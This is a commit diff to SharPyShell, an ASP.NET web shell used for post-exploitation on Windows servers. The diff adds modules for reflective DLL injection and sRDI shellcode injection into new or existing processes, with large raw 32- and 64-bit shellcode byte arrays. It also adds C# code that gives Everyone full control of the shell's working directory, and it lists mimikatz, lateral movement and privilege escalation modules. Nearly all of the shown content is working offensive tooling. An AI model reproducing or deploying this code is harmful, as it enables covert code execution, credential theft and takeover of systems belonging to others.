Projects STRLCPY SharPyShell Commits 5a2a2425
🤬
  • ■ ■ ■ ■ ■ ■
    README.md
    skipped 94 lines
    95 95  ## Modules
    96 96   
    97 97  ```
    98  - #download Download a file from the server
    99  - #exec_cmd Run a cmd.exe /c command on the server
    100  - #exec_ps Run a powershell.exe -nop -noni -enc 'base64command' on the server
    101  - #invoke_ps_module Run a ps1 script on the target server
    102  - #invoke_ps_module_as Run a ps1 script on the target server as a specific user
    103  - #lateral_psexec Run psexec binary to move laterally
    104  - #lateral_wmi Run builtin WMI command to move laterally
    105  - #mimikatz Run an offline version of mimikatz directly in memory
    106  - #net_portscan Run a port scan using regular sockets, based (pretty) loosely on nmap
    107  - #privesc_juicy_potato Launch Juicy Potato attack trying to impersonate NT AUTHORITY\SYSTEM
    108  - #privesc_powerup Run Powerup module to assess all misconfiguration for privesc
    109  - #runas Run a cmd.exe /c command spawning a new process as a specific user
    110  - #runas_ps Run a powershell.exe -enc spawning a new process as a specific user
    111  - #upload Upload a file to the server
     98 + #download Download a file from the server
     99 + #exec_cmd Run a cmd.exe /c command on the server
     100 + #exec_ps Run a powershell.exe -nop -noni -enc 'base64command' on the server
     101 + #inject_dll_reflective Inject a reflective DLL in a new (or existing) process
     102 + #inject_dll_srdi Inject a generic DLL in a new (or existing) process
     103 + #inject_shellcode Inject shellcode in a new (or existing) process
     104 + #invoke_ps_module Run a ps1 script on the target server
     105 + #invoke_ps_module_as Run a ps1 script on the target server as a specific user
     106 + #lateral_psexec Run psexec binary to move laterally
     107 + #lateral_wmi Run builtin WMI command to move laterally
     108 + #mimikatz Run an offline version of mimikatz directly in memory
     109 + #net_portscan Run a port scan using regular sockets, based (pretty) loosely on nmap
     110 + #privesc_juicy_potato Launch InMem Juicy Potato attack trying to impersonate NT AUTHORITY\SYSTEM
     111 + #privesc_powerup Run Powerup module to assess all misconfiguration for privesc
     112 + #runas Run a cmd.exe /c command spawning a new process as a specific user
     113 + #runas_ps Run a powershell.exe -enc spawning a new process as a specific user
     114 + #upload Upload a file to the server
    112 115  ```
    113 116   
    114 117  ## Windows version tested
    skipped 38 lines
  • ■ ■ ■ ■ ■
    core/Environment.py
    skipped 10 lines
    11 11   using System;using System.IO;using System.Diagnostics;using System.Text;
    12 12   public class SharPyShell
    13 13   {
    14  - string GetTempDirectory()
     14 + private string GetTempDirectory()
    15 15   {
    16 16   string tempDirectory="";
    17 17   string osTempDirectory = Environment.GetEnvironmentVariable("SYSTEMROOT") + "\\" + "Temp";
    skipped 29 lines
    47 47   
    48 48   _runtime_code = ur"""
    49 49   using System;using System.IO;using System.Diagnostics;using System.Text;
     50 + using System.Security.AccessControl;using System.Security.Principal;
     51 +
    50 52   public class SharPyShell
    51 53   {
    52  - string GetEnvDirectory(string randomName)
     54 + private string GetEnvDirectory(string randomName)
    53 55   {
    54 56   string envDirectory="";
    55 57   string osTempDirectory = Environment.GetEnvironmentVariable("SYSTEMROOT") + "\\" + "Temp" + "\\" + randomName;
    skipped 11 lines
    67 69   envDirectory = @"C:\Windows\Temp";
    68 70   }
    69 71   }
     72 + if(envDirectory != @"C:\Windows\Temp"){
     73 + DirectoryInfo dInfo = new DirectoryInfo(envDirectory);
     74 + DirectorySecurity dSecurity = dInfo.GetAccessControl();
     75 + dSecurity.AddAccessRule(new FileSystemAccessRule(new SecurityIdentifier(WellKnownSidType.WorldSid, null), FileSystemRights.FullControl, InheritanceFlags.ObjectInherit | InheritanceFlags.ContainerInherit, PropagationFlags.NoPropagateInherit, AccessControlType.Allow));
     76 + dInfo.SetAccessControl(dSecurity);
     77 + }
    70 78   return envDirectory;
    71 79   }
    72 80   
    skipped 24 lines
    97 105   using System;using System.IO;using System.Diagnostics;using System.Text;
    98 106   public class SharPyShell
    99 107   {
    100  - string ClearDirectories(string[] modulesPath, string envDirectory)
     108 + private string ClearDirectories(string[] modulesPath, string envDirectory)
    101 109   {
    102 110   string output="";
    103 111   for(int i = 0 ; i < modulesPath.Length ; i++)
    skipped 97 lines
  • ■ ■ ■ ■
    core/config.py
    1 1  import sys
    2 2  import os
    3 3   
    4  -sharpyshell_version='1.0'
     4 +sharpyshell_version='1.1.14'
    5 5   
    6 6  header = '#SharPyShell v' + sharpyshell_version + ' - @splinter_code'
    7 7  banner = """
    skipped 18 lines
  • modules/dll/messagebox_msf.dll
    Binary file.
  • modules/dll/powerkatz.dll
    Binary file.
  • ■ ■ ■ ■ ■ ■
    modules/inject_dll_reflective.py
     1 +from modules.inject_shellcode import Inject_shellcode, ModuleException
     2 +from core import config
     3 +from utils import gzip_utils
     4 +import pefile
     5 + 
     6 + 
     7 +class InjectDllReflectiveModuleException(ModuleException):
     8 + pass
     9 + 
     10 + 
     11 +class Inject_dll_reflective(Inject_shellcode):
     12 + _exception_class = InjectDllReflectiveModuleException
     13 + short_help = "Inject a reflective DLL in a new (or existing) process"
     14 + complete_help = r"""
     15 + Author: @stephenfewer
     16 + Links: https://github.com/stephenfewer/ReflectiveDLLInjection
     17 +
     18 +
     19 + Inject a reflective DLL into a remote process.
     20 + You can choose to create a new process or use a pid of an existing process as a host process.
     21 + The dll_path is a relative path to a dll that exists in the folder 'reflective_dll/'.
     22 + The dll must be compiled with the 'ReflectiveLoader' exported function otherwise it cannot be executed
     23 + at runtime.
     24 + You can use one of the following supported injection techniques:
     25 + - remote_virtual: classic injection:
     26 + VirtualAllocEx (RWX) -> WriteProcessMemory -> CreateRemoteThread
     27 + - remote_virtual_protect: with this technique you never allocate RWX memory (polymorphic encoders won't work):
     28 + VirtualAllocEx(RW) -> WriteProcessMemory -> VirtualProtect(RX) -> CreateRemoteThread
     29 + Note that when you try to inject into an existing process you should ensure you have the rights to open
     30 + a handle to that process otherwise the injection cannot be performed.
     31 +
     32 +
     33 + Usage:
     34 + #inject_dll_reflective dll_path [injection_type] [remote_process]
     35 +
     36 + Positional arguments:
     37 + dll_path name of a .dll module in the 'reflective_dll/' directory
     38 + the DLL must contain a ReflectiveLoader exported function
     39 + injection_type the process injection method to use for injecting shellcode
     40 + Allowed values: 'remote_virtual', 'remote_virtual_protect'
     41 + Default: 'remote_virtual'
     42 + remote_process path to an executable to spawn as a host process for the shellcode
     43 + if you pass a pid it will try to inject into an existing running process
     44 + Default: 'cmd.exe'
     45 + 
     46 + Examples:
     47 + Inject a messagebox reflective DLL into an existing process:
     48 + #inject_dll_reflective messagebox_reflective.dll remote_virtual 2264
     49 +
     50 + """
     51 + 
     52 + def __get_reflective_loader_offset(self, dll_path):
     53 + pe_parser = pefile.PE(dll_path)
     54 + for exported_function in pe_parser.DIRECTORY_ENTRY_EXPORT.symbols:
     55 + if 'ReflectiveLoader' in exported_function.name:
     56 + reflective_loader_rva = exported_function.address
     57 + return hex(pe_parser.get_offset_from_rva(reflective_loader_rva))
     58 + raise self._exception_class('The DLL does not contain a reflective loader function.\n')
     59 + 
     60 + def _create_request(self, args):
     61 + dll_path, injection_type, remote_process,\
     62 + thread_timeout, thread_parameters, code_offset = self._parse_run_args(args)
     63 + dll_path = config.modules_paths + 'reflective_dll/' + dll_path
     64 + code_offset = str(self.__get_reflective_loader_offset(dll_path))
     65 + with open(dll_path, 'rb') as file_handle:
     66 + byte_arr = bytearray(file_handle.read())
     67 + base64_compressed_dll = gzip_utils.get_compressed_base64_from_binary(byte_arr)
     68 + if injection_type == 'remote_virtual_protect':
     69 + runtime_code = self._runtime_code % (self._runtime_code_virtual_protect, base64_compressed_dll,
     70 + thread_parameters, remote_process,
     71 + thread_timeout, code_offset)
     72 + else:
     73 + runtime_code = self._runtime_code % (self._runtime_code_virtual, base64_compressed_dll,
     74 + thread_parameters, remote_process,
     75 + thread_timeout, code_offset)
     76 + return runtime_code
     77 + 
  • ■ ■ ■ ■ ■ ■
    modules/inject_dll_srdi.py
     1 +from modules.inject_shellcode import Inject_shellcode, ModuleException
     2 +from core import config
     3 +from utils import gzip_utils
     4 +from struct import pack, unpack
     5 + 
     6 + 
     7 +class InjectDllSrdiModuleException(ModuleException):
     8 + pass
     9 + 
     10 + 
     11 +class sRDI:
     12 + """
     13 + Author: @monoxgas
     14 + Link: https://github.com/monoxgas/sRDI
     15 + """
     16 + 
     17 + __MACHINE_IA64 = 512
     18 + __MACHINE_AMD64 = 34404
     19 + 
     20 + def __is64BitDLL(self, bytes):
     21 + header_offset = unpack("<L", bytes[60:64])[0]
     22 + machine = unpack("<H", bytes[header_offset + 4:header_offset + 4 + 2])[0]
     23 + if machine == self.__MACHINE_IA64 or machine == self.__MACHINE_AMD64:
     24 + return True
     25 + return False
     26 + 
     27 + 
     28 + def HashFunctionName(self, name, module=None):
     29 + ror = lambda val, r_bits, max_bits: \
     30 + ((val & (2 ** max_bits - 1)) >> r_bits % max_bits) | \
     31 + (val << (max_bits - (r_bits % max_bits)) & (2 ** max_bits - 1))
     32 + 
     33 + function = name.encode() + b'\x00'
     34 + 
     35 + if (module):
     36 + module = module.upper().encode('UTF-16LE') + b'\x00\x00'
     37 + 
     38 + functionHash = 0
     39 + 
     40 + for b in function:
     41 + b = ord(b)
     42 + functionHash = ror(functionHash, 13, 32)
     43 + functionHash += b
     44 + 
     45 + moduleHash = 0
     46 + 
     47 + for b in module:
     48 + b = ord(b)
     49 + moduleHash = ror(moduleHash, 13, 32)
     50 + moduleHash += b
     51 + 
     52 + functionHash += moduleHash
     53 + 
     54 + if functionHash > 0xFFFFFFFF: functionHash -= 0x100000000
     55 + 
     56 + else:
     57 + functionHash = 0
     58 + 
     59 + for b in function:
     60 + b = ord(b)
     61 + functionHash = ror(functionHash, 13, 32)
     62 + functionHash += b
     63 + 
     64 + return functionHash
     65 + 
     66 + def ConvertToShellcode(self, dllBytes, functionHash=0x10, userData=b'None', flags=1):
     67 + 
     68 + rdiShellcode32 = b"\x83\xEC\x48\x83\x64\x24\x18\x00\xB9\x4C\x77\x26\x07\x53\x55\x56\x57\x33\xF6\xE8\x5C\x04\x00\x00\xB9\x49\xF7\x02\x78\x89\x44\x24\x1C\xE8\x4E\x04\x00\x00\xB9\x58\xA4\x53\xE5\x89\x44\x24\x20\xE8\x40\x04\x00\x00\xB9\x10\xE1\x8A\xC3\x8B\xE8\xE8\x34\x04\x00\x00\xB9\xAF\xB1\x5C\x94\x89\x44\x24\x2C\xE8\x26\x04\x00\x00\xB9\x33\x00\x9E\x95\x89\x44\x24\x30\xE8\x18\x04\x00\x00\x8B\xD8\x8B\x44\x24\x5C\x8B\x78\x3C\x03\xF8\x89\x7C\x24\x14\x81\x3F\x50\x45\x00\x00\x74\x07\x33\xC0\xE9\xF2\x03\x00\x00\xB8\x4C\x01\x00\x00\x66\x39\x47\x04\x75\xEE\xF6\x47\x38\x01\x75\xE8\x0F\xB7\x57\x06\x0F\xB7\x47\x14\x85\xD2\x74\x22\x8D\x4F\x24\x03\xC8\x83\x79\x04\x00\x8B\x01\x75\x05\x03\x47\x38\xEB\x03\x03\x41\x04\x3B\xC6\x0F\x47\xF0\x83\xC1\x28\x83\xEA\x01\x75\xE3\x8D\x44\x24\x34\x50\xFF\xD3\x8B\x44\x24\x38\x8B\x5F\x50\x8D\x50\xFF\x8D\x48\xFF\xF7\xD2\x48\x03\xCE\x03\xC3\x23\xCA\x23\xC2\x3B\xC1\x75\x97\x6A\x04\xBE\x00\x30\x00\x00\x56\x53\xFF\x77\x34\xFF\xD5\x8B\xD8\x89\x5C\x24\x10\x85\xDB\x75\x0F\x6A\x04\x56\xFF\x77\x50\x50\xFF\xD5\x8B\xD8\x89\x44\x24\x10\x8B\x77\x54\x33\xC0\x8B\x6C\x24\x5C\x40\x33\xC9\x89\x44\x24\x24\x8B\xD3\x85\xF6\x74\x34\x8B\x5C\x24\x6C\x23\xD8\x4E\x85\xDB\x74\x19\x8B\xC7\x2B\x44\x24\x5C\x3B\xC8\x73\x0F\x83\xF9\x3C\x72\x05\x83\xF9\x3E\x76\x05\xC6\x02\x00\xEB\x05\x8A\x45\x00\x88\x02\x41\x45\x42\x85\xF6\x75\xD6\x8B\x5C\x24\x10\x0F\xB7\x47\x06\x0F\xB7\x4F\x14\x85\xC0\x74\x38\x83\xC7\x2C\x03\xCF\x8B\x7C\x24\x5C\x8B\x51\xF8\x48\x8B\x31\x03\xD3\x8B\x69\xFC\x03\xF7\x89\x44\x24\x5C\x85\xED\x74\x0F\x8A\x06\x88\x02\x42\x46\x83\xED\x01\x75\xF5\x8B\x44\x24\x5C\x83\xC1\x28\x85\xC0\x75\xD5\x8B\x7C\x24\x14\x8B\xB7\x80\x00\x00\x00\x03\xF3\x89\x74\x24\x18\x8B\x46\x0C\x85\xC0\x74\x7D\x03\xC3\x50\xFF\x54\x24\x20\x8B\x6E\x10\x8B\xF8\x8B\x06\x03\xEB\x03\xC3\x89\x44\x24\x5C\x83\x7D\x00\x00\x74\x4F\x8B\x74\x24\x20\x8B\x08\x85\xC9\x74\x1E\x79\x1C\x8B\x47\x3C\x0F\xB7\xC9\x8B\x44\x38\x78\x2B\x4C\x38\x10\x8B\x44\x38\x1C\x8D\x04\x88\x8B\x04\x38\x03\xC7\xEB\x0C\x8B\x45\x00\x83\xC0\x02\x03\xC3\x50\x57\xFF\xD6\x89\x45\x00\x83\xC5\x04\x8B\x44\x24\x5C\x83\xC0\x04\x89\x44\x24\x5C\x83\x7D\x00\x00\x75\xB9\x8B\x74\x24\x18\x8B\x46\x20\x83\xC6\x14\x89\x74\x24\x18\x85\xC0\x75\x87\x8B\x7C\x24\x14\x8B\xC3\x2B\x47\x34\x89\x44\x24\x1C\x0F\x84\xBB\x00\x00\x00\x83\xBF\xA4\x00\x00\x00\x00\x0F\x84\xAE\x00\x00\x00\x8B\xB7\xA0\x00\x00\x00\x03\xF3\x89\x74\x24\x5C\x8D\x4E\x04\x8B\x01\x89\x4C\x24\x18\x85\xC0\x0F\x84\x91\x00\x00\x00\x8B\x7C\x24\x1C\x8B\x16\x8D\x68\xF8\x03\xD3\x8D\x46\x08\xD1\xED\x89\x44\x24\x20\x74\x60\x6A\x02\x8B\xD8\x5E\x0F\xB7\x0B\x4D\x66\x8B\xC1\x66\xC1\xE8\x0C\x66\x83\xF8\x0A\x74\x06\x66\x83\xF8\x03\x75\x0B\x81\xE1\xFF\x0F\x00\x00\x01\x3C\x11\xEB\x27\x66\x3B\x44\x24\x24\x75\x11\x81\xE1\xFF\x0F\x00\x00\x8B\xC7\xC1\xE8\x10\x66\x01\x04\x11\xEB\x0F\x66\x3B\xC6\x75\x0A\x81\xE1\xFF\x0F\x00\x00\x66\x01\x3C\x11\x03\xDE\x85\xED\x75\xB1\x8B\x5C\x24\x10\x8B\x74\x24\x5C\x8B\x4C\x24\x18\x03\x31\x89\x74\x24\x5C\x8D\x4E\x04\x8B\x01\x89\x4C\x24\x18\x85\xC0\x0F\x85\x77\xFF\xFF\xFF\x8B\x7C\x24\x14\x0F\xB7\x47\x06\x0F\xB7\x4F\x14\x85\xC0\x0F\x84\xB7\x00\x00\x00\x8B\x74\x24\x5C\x8D\x6F\x3C\x03\xE9\x48\x83\x7D\xEC\x00\x89\x44\x24\x24\x0F\x86\x94\x00\x00\x00\x8B\x4D\x00\x33\xD2\x42\x8B\xC1\xC1\xE8\x1D\x23\xC2\x8B\xD1\xC1\xEA\x1E\x83\xE2\x01\xC1\xE9\x1F\x85\xC0\x75\x18\x85\xD2\x75\x07\x6A\x08\x5E\x6A\x01\xEB\x05\x6A\x04\x5E\x6A\x02\x85\xC9\x58\x0F\x44\xF0\xEB\x2C\x85\xD2\x75\x17\x85\xC9\x75\x04\x6A\x10\xEB\x15\x85\xD2\x75\x0B\x85\xC9\x74\x18\xBE\x80\x00\x00\x00\xEB\x11\x85\xC9\x75\x05\x6A\x20\x5E\xEB\x08\x6A\x40\x85\xC9\x58\x0F\x45\xF0\x8B\x4D\x00\x8B\xC6\x0D\x00\x02\x00\x00\x81\xE1\x00\x00\x00\x04\x0F\x44\xC6\x8B\xF0\x8D\x44\x24\x28\x50\x8B\x45\xE8\x56\xFF\x75\xEC\x03\xC3\x50\xFF\x54\x24\x3C\x85\xC0\x0F\x84\xD0\xFC\xFF\xFF\x8B\x44\x24\x24\x83\xC5\x28\x85\xC0\x0F\x85\x52\xFF\xFF\xFF\x8B\x77\x28\x6A\x00\x6A\x00\x6A\xFF\x03\xF3\xFF\x54\x24\x3C\x33\xC0\x40\x50\x50\x53\xFF\xD6\x83\x7C\x24\x60\x00\x74\x7C\x83\x7F\x7C\x00\x74\x76\x8B\x4F\x78\x03\xCB\x8B\x41\x18\x85\xC0\x74\x6A\x83\x79\x14\x00\x74\x64\x8B\x69\x20\x8B\x79\x24\x03\xEB\x83\x64\x24\x5C\x00\x03\xFB\x85\xC0\x74\x51\x8B\x75\x00\x03\xF3\x33\xD2\x0F\xBE\x06\xC1\xCA\x0D\x03\xD0\x46\x80\x7E\xFF\x00\x75\xF1\x39\x54\x24\x60\x74\x16\x8B\x44\x24\x5C\x83\xC5\x04\x40\x83\xC7\x02\x89\x44\x24\x5C\x3B\x41\x18\x72\xD0\xEB\x1F\x0F\xB7\x17\x83\xFA\xFF\x74\x17\x8B\x41\x1C\xFF\x74\x24\x68\xFF\x74\x24\x68\x8D\x04\x90\x8B\x04\x18\x03\xC3\xFF\xD0\x59\x59\xF6\x44\x24\x6C\x02\x74\x17\x8B\x6C\x24\x1C\x33\xC0\x68\x00\x80\x00\x00\x6A\x00\x55\xFF\xD0\x85\xC0\x75\x03\x55\xFF\xD0\x8B\xC3\x5F\x5E\x5D\x5B\x83\xC4\x48\xC3\x83\xEC\x10\x64\xA1\x30\x00\x00\x00\x53\x55\x56\x8B\x40\x0C\x57\x89\x4C\x24\x18\x8B\x70\x0C\xE9\x8A\x00\x00\x00\x8B\x46\x30\x33\xC9\x8B\x5E\x2C\x8B\x36\x89\x44\x24\x14\x8B\x42\x3C\x8B\x6C\x10\x78\x89\x6C\x24\x10\x85\xED\x74\x6D\xC1\xEB\x10\x33\xFF\x85\xDB\x74\x1F\x8B\x6C\x24\x14\x8A\x04\x2F\xC1\xC9\x0D\x3C\x61\x0F\xBE\xC0\x7C\x03\x83\xC1\xE0\x03\xC8\x47\x3B\xFB\x72\xE9\x8B\x6C\x24\x10\x8B\x44\x2A\x20\x33\xDB\x8B\x7C\x2A\x18\x03\xC2\x89\x7C\x24\x14\x85\xFF\x74\x31\x8B\x28\x33\xFF\x03\xEA\x83\xC0\x04\x89\x44\x24\x1C\x0F\xBE\x45\x00\xC1\xCF\x0D\x03\xF8\x45\x80\x7D\xFF\x00\x75\xF0\x8D\x04\x0F\x3B\x44\x24\x18\x74\x20\x8B\x44\x24\x1C\x43\x3B\x5C\x24\x14\x72\xCF\x8B\x56\x18\x85\xD2\x0F\x85\x6B\xFF\xFF\xFF\x33\xC0\x5F\x5E\x5D\x5B\x83\xC4\x10\xC3\x8B\x74\x24\x10\x8B\x44\x16\x24\x8D\x04\x58\x0F\xB7\x0C\x10\x8B\x44\x16\x1C\x8D\x04\x88\x8B\x04\x10\x03\xC2\xEB\xDB"
     69 + rdiShellcode64 = b"\x48\x8B\xC4\x44\x89\x48\x20\x4C\x89\x40\x18\x89\x50\x10\x53\x55\x56\x57\x41\x54\x41\x55\x41\x56\x41\x57\x48\x83\xEC\x78\x83\x60\x08\x00\x4C\x8B\xF1\xB9\x4C\x77\x26\x07\x33\xDB\xE8\xFB\x04\x00\x00\xB9\x49\xF7\x02\x78\x4C\x8B\xE8\xE8\xEE\x04\x00\x00\xB9\x58\xA4\x53\xE5\x48\x89\x44\x24\x20\xE8\xDF\x04\x00\x00\xB9\x10\xE1\x8A\xC3\x48\x8B\xE8\xE8\xD2\x04\x00\x00\xB9\xAF\xB1\x5C\x94\x48\x89\x44\x24\x30\xE8\xC3\x04\x00\x00\xB9\x33\x00\x9E\x95\x48\x89\x44\x24\x28\x4C\x8B\xE0\xE8\xB1\x04\x00\x00\x49\x63\x7E\x3C\x4C\x8B\xC8\x49\x03\xFE\x81\x3F\x50\x45\x00\x00\x74\x07\x33\xC0\xE9\x86\x04\x00\x00\xB8\x64\x86\x00\x00\x66\x39\x47\x04\x75\xEE\x41\xBF\x01\x00\x00\x00\x44\x84\x7F\x38\x75\xE2\x0F\xB7\x47\x06\x0F\xB7\x4F\x14\x44\x8B\x47\x38\x85\xC0\x74\x2B\x48\x83\xC1\x24\x8B\xD0\x48\x03\xCF\x83\x79\x04\x00\x75\x07\x8B\x01\x49\x03\xC0\xEB\x05\x8B\x01\x03\x41\x04\x48\x3B\xC3\x48\x0F\x47\xD8\x48\x83\xC1\x28\x49\x2B\xD7\x75\xDE\x48\x8D\x4C\x24\x38\x41\xFF\xD1\x44\x8B\x44\x24\x3C\x44\x8B\x4F\x50\x41\x8D\x40\xFF\xF7\xD0\x41\x8D\x50\xFF\x41\x03\xD1\x49\x8D\x48\xFF\x48\x23\xD0\x48\x03\xCB\x49\x8D\x40\xFF\x48\xF7\xD0\x48\x23\xC8\x48\x3B\xD1\x0F\x85\x6C\xFF\xFF\xFF\x48\x8B\x4F\x30\x41\x8B\xD1\xBB\x00\x30\x00\x00\x41\xB9\x04\x00\x00\x00\x44\x8B\xC3\xFF\xD5\x45\x33\xDB\x48\x8B\xF0\x48\x85\xC0\x75\x14\x8B\x57\x50\x44\x8D\x48\x04\x44\x8B\xC3\x33\xC9\xFF\xD5\x48\x8B\xF0\x45\x33\xDB\x44\x8B\x47\x54\x4D\x8B\xCE\x48\x8B\xCE\x49\x8B\xD3\xBD\x02\x00\x00\x00\x4D\x85\xC0\x74\x3F\x44\x8B\x94\x24\xE0\x00\x00\x00\x45\x23\xD7\x4D\x2B\xC7\x45\x85\xD2\x74\x19\x48\x8B\xC7\x49\x2B\xC6\x48\x3B\xD0\x73\x0E\x48\x8D\x42\xC4\x48\x3B\xC5\x76\x05\x44\x88\x19\xEB\x05\x41\x8A\x01\x88\x01\x49\x03\xD7\x4D\x03\xCF\x49\x03\xCF\x4D\x85\xC0\x75\xCC\x44\x0F\xB7\x57\x06\x0F\xB7\x47\x14\x4D\x85\xD2\x74\x38\x48\x8D\x4F\x2C\x48\x03\xC8\x8B\x51\xF8\x4D\x2B\xD7\x44\x8B\x01\x48\x03\xD6\x44\x8B\x49\xFC\x4D\x03\xC6\x4D\x85\xC9\x74\x10\x41\x8A\x00\x4D\x03\xC7\x88\x02\x49\x03\xD7\x4D\x2B\xCF\x75\xF0\x48\x83\xC1\x28\x4D\x85\xD2\x75\xCF\x8B\x9F\x90\x00\x00\x00\x48\x03\xDE\x8B\x43\x0C\x85\xC0\x0F\x84\x85\x00\x00\x00\x48\x8B\x6C\x24\x20\x8B\xC8\x48\x03\xCE\x41\xFF\xD5\x44\x8B\x3B\x4C\x8B\xE0\x44\x8B\x73\x10\x4C\x03\xFE\x4C\x03\xF6\x45\x33\xDB\xEB\x4B\x4D\x39\x1F\x7D\x29\x49\x63\x44\x24\x3C\x41\x0F\xB7\x17\x42\x8B\x8C\x20\x88\x00\x00\x00\x42\x8B\x44\x21\x10\x42\x8B\x4C\x21\x1C\x48\x2B\xD0\x49\x03\xCC\x8B\x04\x91\x49\x03\xC4\xEB\x12\x49\x8B\x16\x49\x8B\xCC\x48\x83\xC2\x02\x48\x03\xD6\xFF\xD5\x45\x33\xDB\x49\x89\x06\x49\x83\xC6\x08\x49\x83\xC7\x08\x4D\x39\x1E\x75\xB0\x8B\x43\x20\x48\x83\xC3\x14\x85\xC0\x75\x88\x4C\x8B\x64\x24\x28\x8D\x68\x02\x4C\x8B\xFE\x41\xBD\x01\x00\x00\x00\x4C\x2B\x7F\x30\x0F\x84\xA4\x00\x00\x00\x44\x39\x9F\xB4\x00\x00\x00\x0F\x84\x97\x00\x00\x00\x44\x8B\x87\xB0\x00\x00\x00\x4C\x03\xC6\x41\x8B\x40\x04\x85\xC0\x0F\x84\x81\x00\x00\x00\xBB\xFF\x0F\x00\x00\x41\x8B\x10\x4D\x8D\x50\x08\x44\x8B\xC8\x48\x03\xD6\x49\x83\xE9\x08\x49\xD1\xE9\x74\x57\x41\x0F\xB7\x0A\x4D\x2B\xCD\x0F\xB7\xC1\x66\xC1\xE8\x0C\x66\x83\xF8\x0A\x75\x09\x48\x23\xCB\x4C\x01\x3C\x11\xEB\x32\x66\x83\xF8\x03\x75\x09\x48\x23\xCB\x44\x01\x3C\x11\xEB\x23\x66\x41\x3B\xC5\x75\x10\x48\x23\xCB\x49\x8B\xC7\x48\xC1\xE8\x10\x66\x01\x04\x11\xEB\x0D\x66\x3B\xC5\x75\x08\x48\x23\xCB\x66\x44\x01\x3C\x11\x4C\x03\xD5\x4D\x85\xC9\x75\xA9\x41\x8B\x40\x04\x4C\x03\xC0\x41\x8B\x40\x04\x85\xC0\x75\x84\x0F\xB7\x6F\x06\x0F\xB7\x47\x14\x48\x85\xED\x0F\x84\xD9\x00\x00\x00\x8B\x9C\x24\xC0\x00\x00\x00\x4C\x8D\x77\x3C\x4C\x8B\x6C\x24\x30\x4C\x03\xF0\x41\xB9\x01\x00\x00\x00\x49\x2B\xE9\x45\x39\x5E\xEC\x0F\x86\xA2\x00\x00\x00\x45\x8B\x06\x41\x8B\xD0\xC1\xEA\x1E\x41\x8B\xC0\x41\x8B\xC8\xC1\xE8\x1D\x41\x23\xD1\xC1\xE9\x1F\x41\x23\xC1\x75\x1C\x85\xD2\x75\x0C\xF7\xD9\x1B\xDB\x83\xE3\x07\x41\x03\xD9\xEB\x3B\xF7\xD9\x1B\xDB\x83\xE3\x02\x83\xC3\x02\xEB\x2F\x85\xD2\x75\x18\x85\xC9\x75\x05\x8D\x5A\x10\xEB\x22\x85\xD2\x75\x0B\x85\xC9\x74\x1A\xBB\x80\x00\x00\x00\xEB\x13\x85\xC9\x75\x05\x8D\x59\x20\xEB\x0A\x85\xC9\xB8\x40\x00\x00\x00\x0F\x45\xD8\x41\x8B\x4E\xE8\x4C\x8D\x8C\x24\xC0\x00\x00\x00\x41\x8B\x56\xEC\x8B\xC3\x0F\xBA\xE8\x09\x41\x81\xE0\x00\x00\x00\x04\x0F\x44\xC3\x48\x03\xCE\x44\x8B\xC0\x8B\xD8\x41\xFF\xD5\x45\x33\xDB\x85\xC0\x0F\x84\x75\xFC\xFF\xFF\x45\x8D\x4B\x01\x49\x83\xC6\x28\x48\x85\xED\x0F\x85\x44\xFF\xFF\xFF\x44\x8D\x6D\x01\x8B\x5F\x28\x45\x33\xC0\x33\xD2\x48\x83\xC9\xFF\x48\x03\xDE\x41\xFF\xD4\x4D\x8B\xC5\x41\x8B\xD5\x48\x8B\xCE\xFF\xD3\x8B\xAC\x24\xC8\x00\x00\x00\x45\x33\xF6\x85\xED\x0F\x84\x99\x00\x00\x00\x44\x39\xB7\x8C\x00\x00\x00\x0F\x84\x8C\x00\x00\x00\x8B\x97\x88\x00\x00\x00\x48\x03\xD6\x44\x8B\x5A\x18\x45\x85\xDB\x74\x7A\x44\x39\x72\x14\x74\x74\x44\x8B\x52\x20\x41\x8B\xDE\x44\x8B\x4A\x24\x4C\x03\xD6\x4C\x03\xCE\x45\x85\xDB\x74\x5E\x45\x8B\x02\x41\x8B\xCE\x4C\x03\xC6\x41\x0F\xBE\x00\x4D\x03\xC5\xC1\xC9\x0D\x03\xC8\x45\x38\x70\xFF\x75\xEE\x3B\xE9\x74\x12\x41\x03\xDD\x49\x83\xC2\x04\x49\x83\xC1\x02\x41\x3B\xDB\x72\xD1\xEB\x2D\x41\x0F\xB7\x01\x83\xF8\xFF\x74\x24\x8B\x52\x1C\x48\x8B\x8C\x24\xD0\x00\x00\x00\xC1\xE0\x02\x48\x98\x48\x03\xC6\x44\x8B\x04\x02\x8B\x94\x24\xD8\x00\x00\x00\x4C\x03\xC6\x41\xFF\xD0\xF6\x84\x24\xE0\x00\x00\x00\x02\x74\x18\x33\xD2\x41\xB8\x00\x80\x00\x00\x49\x8B\xCF\x41\xFF\xD6\x85\xC0\x75\x06\x49\x8B\xCF\x41\xFF\xD6\x48\x8B\xC6\x48\x83\xC4\x78\x41\x5F\x41\x5E\x41\x5D\x41\x5C\x5F\x5E\x5D\x5B\xC3\xCC\x48\x89\x5C\x24\x08\x48\x89\x74\x24\x10\x57\x48\x83\xEC\x10\x65\x48\x8B\x04\x25\x60\x00\x00\x00\x8B\xF1\x48\x8B\x50\x18\x4C\x8B\x4A\x10\x4D\x8B\x41\x30\x4D\x85\xC0\x0F\x84\xB4\x00\x00\x00\x41\x0F\x10\x41\x58\x49\x63\x40\x3C\x33\xD2\x4D\x8B\x09\xF3\x0F\x7F\x04\x24\x42\x8B\x9C\x00\x88\x00\x00\x00\x85\xDB\x74\xD4\x48\x8B\x04\x24\x48\xC1\xE8\x10\x44\x0F\xB7\xD0\x45\x85\xD2\x74\x21\x48\x8B\x4C\x24\x08\x45\x8B\xDA\x0F\xBE\x01\xC1\xCA\x0D\x80\x39\x61\x7C\x03\x83\xC2\xE0\x03\xD0\x48\xFF\xC1\x49\x83\xEB\x01\x75\xE7\x4D\x8D\x14\x18\x33\xC9\x41\x8B\x7A\x20\x49\x03\xF8\x41\x39\x4A\x18\x76\x8F\x8B\x1F\x45\x33\xDB\x49\x03\xD8\x48\x8D\x7F\x04\x0F\xBE\x03\x48\xFF\xC3\x41\xC1\xCB\x0D\x44\x03\xD8\x80\x7B\xFF\x00\x75\xED\x41\x8D\x04\x13\x3B\xC6\x74\x0D\xFF\xC1\x41\x3B\x4A\x18\x72\xD1\xE9\x5B\xFF\xFF\xFF\x41\x8B\x42\x24\x03\xC9\x49\x03\xC0\x0F\xB7\x14\x01\x41\x8B\x4A\x1C\x49\x03\xC8\x8B\x04\x91\x49\x03\xC0\xEB\x02\x33\xC0\x48\x8B\x5C\x24\x20\x48\x8B\x74\x24\x28\x48\x83\xC4\x10\x5F\xC3"